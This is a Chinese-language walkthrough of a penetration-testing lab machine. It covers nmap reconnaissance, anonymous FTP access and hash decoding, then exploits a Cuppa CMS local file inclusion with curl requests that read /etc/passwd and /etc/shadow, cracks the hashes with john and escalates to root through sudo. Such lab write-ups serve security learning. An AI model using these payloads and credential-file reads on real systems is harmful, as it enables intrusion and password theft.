扫描及搜索信息阶段
先查询本机存在的网段
ipconfig
然后对网段进行扫描
sudo nmap -sn 存在网段/24
在端口发现之后不进行端口扫描,只打印主机嗅探的可用主机
可知:
.139是我们本机的地址,而.138是靶机所在的地址
新建一个文件夹
进行端口扫描,扫描ip,并把内容存放在nmapscan下的ports文件
sudo nmap -sT --min-rate 10000 -p- 192.168.203.138 -oA nmapscan/ports
-sT :明确指定以TCP协议进行扫描(UDP则是-sU)。利用三次握手来判断端口状态。速度相对较慢,但它更加准确。
-sS是默认的扫描技术,利用SYN来探索目标主机上的开放端口,用于快速扫描主机的端口状态。
--min-rate:设定最慢的扫描每秒发包速率,避免判定为恶意扫描。
-p-: -p是指定端口范围的参数,而后面的-是简化的指定1~65535全部端口进行扫描。
-oA: o是输出,A是ALL。
查看pos输出结果
ls -liah nmapscan
可以看见,有三个不同格式的文件,gnamp是被已经被放弃了;
nmap和屏幕输出的是一致的;
xml的内容更是附带一定编程性。
把端口单独提出,多用于端口较多的情况
grep open nmapscan/ports.nmap | awk -F'/' '{print $1}'
使用grep去搜索nampscan/ports.nmap的扫描结果
用awk -f指定参数,用斜杠做分隔符打印出第一列
扫描各个端口的服务
sudo nmap -sT -sV -sC -O -p21,22,80,3306 192.168.203.138 -oA nmapscan/dail
-sT:指定使用TCP协议扫描
-sV:探测各服务版本
-sC:用默认的脚本进行扫描
-O:探测操作系统的版本
-p:指定端口,后接端口
-oA:全格式输出到.....
21号端口使用ftp协议,可能存在信息泄露;
22是SSH服务,有乌班图的信息。但直接通过SSH拿到登录权限的意义不大,但不绝对;
80端口是阿帕奇服务;
3306可能是mysql服务;
进行漏洞脚本扫描,并把结果存放在nmapscan/vuln中。
sudo nmap --script=vuln -p21,22,80,3306 192.168.203.138 -oA nmapscan/vuln
21和22没有太多的信息。
80端口提示没有csrf漏洞发现,也没有xss漏洞发现,只有一个slowloris可以利用DOS攻击,但过于暴力没啥技术含量。
3306也没啥发现。
(当没有攻击面的时候,可能有ipv6的地址)
渗透阶段
进行ftp渗透
ftp 192.168.203.138
输入后进入匿名登录,匿名登录的账号都是anonymous,密码为空,直接回车。
这里显示成功登录。
渗透测试到FTP中,首先想到的是,用binary去切换到二进制模式。
可以使用?来显示交互命令
使用 ls 来查看列表
进入content,查看文件夹存在文件
输入prompt把交互式的提示词关闭
prompt
输入mget下载多个文件
mget *.txt
m:多个
回到上一级,进入docs,下载里面的txt文件
回到上一级,进入new-employees,下载里面的employee-names.txt
这样所有内容就下载完毕,可以退出ftp了。
MD5破解
我们退出ftp后,ls查看下载的文件,并使用cat打开
cat *.txt
可以看到中间有一串字符,我们可以使用kali工具里的hash identifier去进行识别
hash-identifier 字符串
可以看到识别的字符串可能是MD5加密;
如果怀疑识别不准的话,可以直接粘贴到浏览器进行查询;
建立md5的文件,并把字符串粘贴进去,wq!保存退出
vim md5.hash
使用john进行破解,但结果不是很理想,我们可以通过网站来进行破解
解密结果为“这不是密码”。咱们暂且相信他的鬼话。
网站:(https://www.somd5.com/)
base64破解
还有一串编码,使用john无法识别,放浏览器也没有多少识别信息,只能凭借经验来识别他是base64编码,末尾的“==”也许是base64特有的标识符?
echo "SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==" | base64 -d
可以看到解码后也没啥有用的信息
角色视角带入
我们还遗漏了一个信息,就是这家公司的员工列表
我们来进行一个角色的分析
经理,可能有一些基于业务的特殊权限,也有可能有所有员工的数据;
IT,可能有各个系统权限相关的数据信息,例如ftp信息、账户信息等等;
web,对于我们没啥用,咱们是渗透拿权限的,不是扒人家裤腿子的;
Inventory,做库管的,可能拥有员工数据和货物数据;
human,人力资源,可能拿着的是全部人员的最详细的信息;
字符的破译
下面的字符,我们通过观察可以发现,它是上下颠倒加上前后倒序,kali里没有工具可以解密,我们可以百度进行查询
网站链接:https://www.upsidedowntext.com/
“我不认为这是通向root的方式”
还有一个字符,我们继续进行破解
“我们还有很多事要做,还不能闲逛(休息)哦”
就这样,21端口的ftp渗透测试就到此为止了
mysql渗透
我们去浅尝试一下3306的mysql
mysql -h 192.168.203.138 -u root -p
显示当前kali不被允许连接到mysql,显然3306是不成功的
80端口服务查询
我们看一下80的端口跑的啥服务
发现是阿帕奇的默认页面,也没啥信息
目录爆破
我们进行目录爆破
如果没有安装gobuster,需要先安装
安装代码
sudo apt install gobuster
安装好了之后输入
sudo gobuster dir -u http://192.168.203.138 --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
directory-list-2.3-medium.txt是kali自带的一个目录字典。
我们分别打开这三个链接
现在能暴露出来的就两个,一个是wordpress,一个是adminstrator
我们先重点看以下wordpress,但问题是自动跳转到local host ,我们试着修改以下host文件,看一下能不能访问到网站。
sudo vim /etc/hosts
把localhost指向我们的kali,再做一个实验,也许localhost不允许指定非本机ip,指向靶机ip可能不行,所以我们再创建一个域名来进行访问。
如果创建的域名可以访问的话,而localhost不行,那就是现在kali的环境不允许这样操作了。
可以看到,新域名能够访问,而localhost不行
现在wordpress看完了,我们来看adminstrator
点击next(可能会对系统造成不可逆操作,也许会被通知管理员),看到的是安装的配置页,数据库和用户管理员设置。
在评估风险后,我们选择填入信息,然后下一步
密码和名字一致,防止记错
获得以下信息
点击back又回到了上一个页面,也许我们可以换个方向,寻找以下有无公开漏洞
searchsploit cuppa cms
搜索这个数据库的本地拷贝
我们可以看到有一条数据,但我们没有别的选择,只能先下载
searchsploit cuppa -m 25971
SearchSploit为您提供了在本地保存的存储库中执行详细的离线搜索的能力。
下面是相关的参数:
可以看到我们已经下载完成了,使用cat打开看看。
这里我们也发现了一些漏洞和利用
我们接着往下看
翻译:攻击者可能包含本地或远程 PHP 文件,或者读取具有此漏洞的非 PHP 文件。创建将包含在当前文件中的文件名时使用用户污染的数据。将评估此文件中的 PHP 代码,非 PHP 代码将嵌入到输出中。此漏洞可能导致服务器完全受损。
阐述了漏洞的危害
下面给了漏洞的利用过程,可以有远程包含,也可以有passwd的读取
我们下载一下这个它的数据包
wget http://jaist.dl.sourceforge.net/project/cuppacms/cuppa_cms.zip
我们直接使用图形化的方式打开(绝对不是懒得打代码,肯定不是)
找到/administrator/alerts/alertConfigField.php文件
他说是22行出了问题
但很明显22行没有指定参数,我们可以直接关键词寻找。
我们在77行发现了关键字,可以发现,它是用post的方式来处理传过来的参数的,并且没有做任何处理。
使用curl,对数据进行url编码,并且通过post的方式进行传递
curl --data-urlencode urlConfig=../../../../../../../../../etc/passwd http://192.168.203.138/administrator/alerts/alertConfigField.php
将变量urlcnfig的内容通过url编码给到处理程序。
看到已经列出了passwd的内容,每一条用户数据的第二段都是X,证明密码是以哈希的方式存在了shadow文件中,我们去找shadow文件。
shadow文件用于存放密码。
curl --data-urlencode urlConfig=../../../../../../../../../etc/shadow http://192.168.203.138/administrator/alerts/alertConfigField.php
可以拿下,这样我们就可以去破解。我们把三个用户密码保存,使用john破解。
vim shadow.h
使用john进行解密
john shadow.h
首先破解了这两个www-data , w1r3s账户,我们先试试w1r3s的相关权限
sudo ssh w1r3s@192.168.203.138
登录成功,我们查看一下具体信息。拥有27sudo的权限
我们提权一下sudo
sudo -l
我们发现用户有三个ALL权限,意味着基本等于root用户了。
那我们启动一个新的bash会话
新建一个sh文件,
echo '/bin/bash' >> root.sh
赋权
chmod +x root.sh
获取root命令
sudo ./root.sh
我们进入root目录,找到flag文件,打开
这样我们就打完了心中的靶机()